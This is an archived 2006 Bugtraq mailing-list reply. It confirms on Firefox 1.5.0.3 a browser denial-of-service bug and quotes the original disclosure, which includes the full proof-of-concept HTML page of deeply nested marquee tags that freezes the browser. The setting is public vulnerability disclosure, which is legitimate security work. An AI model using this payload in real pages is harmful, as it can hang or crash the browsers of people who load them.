bugtraq - Re: Fire fox dos exploit

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [<thread-prev] [thread-next>] [day] [month] [year] [list]

Message-ID: <b7a807650605310659i60cdf2ctaef11415226d939f@mail.gmail.com>
Date: Wed, 31 May 2006 14:59:24 +0100
From: pagvac <unknown.pentester@...il.com>
To: "co296@....com" <co296@....com>
Cc: bugtraq@...urityfocus.com
Subject: Re: Fire fox dos exploit


Successfully tested on Firefox 1.5.0.3.

I had to kill my firefox.exe process after half a minute of freezing :-)

On 30 May 2006 12:03:36 -0000, co296@....com <co296@....com> wrote:
> I have found a problem which causes denial of service on fire fox browser
>
>
> Creadit:to n00b for finding this bug..
>
>
> the problem lie's in the
>
>
> <marquee> html tag uses 100% cpu and crash's the browser..
>
>
> Following proof of concept available
>
>
> <html>
>
> <head>
>
> <title>Credit to n00b..</title>
>
> <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
>
> </head>
>
>
> <body>
>
> <marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marq
 uee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marq
 ue
>  e></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee>
>
> </body>
>
> </html>
>
>


-- 
pagvac
[http://ikwt.com]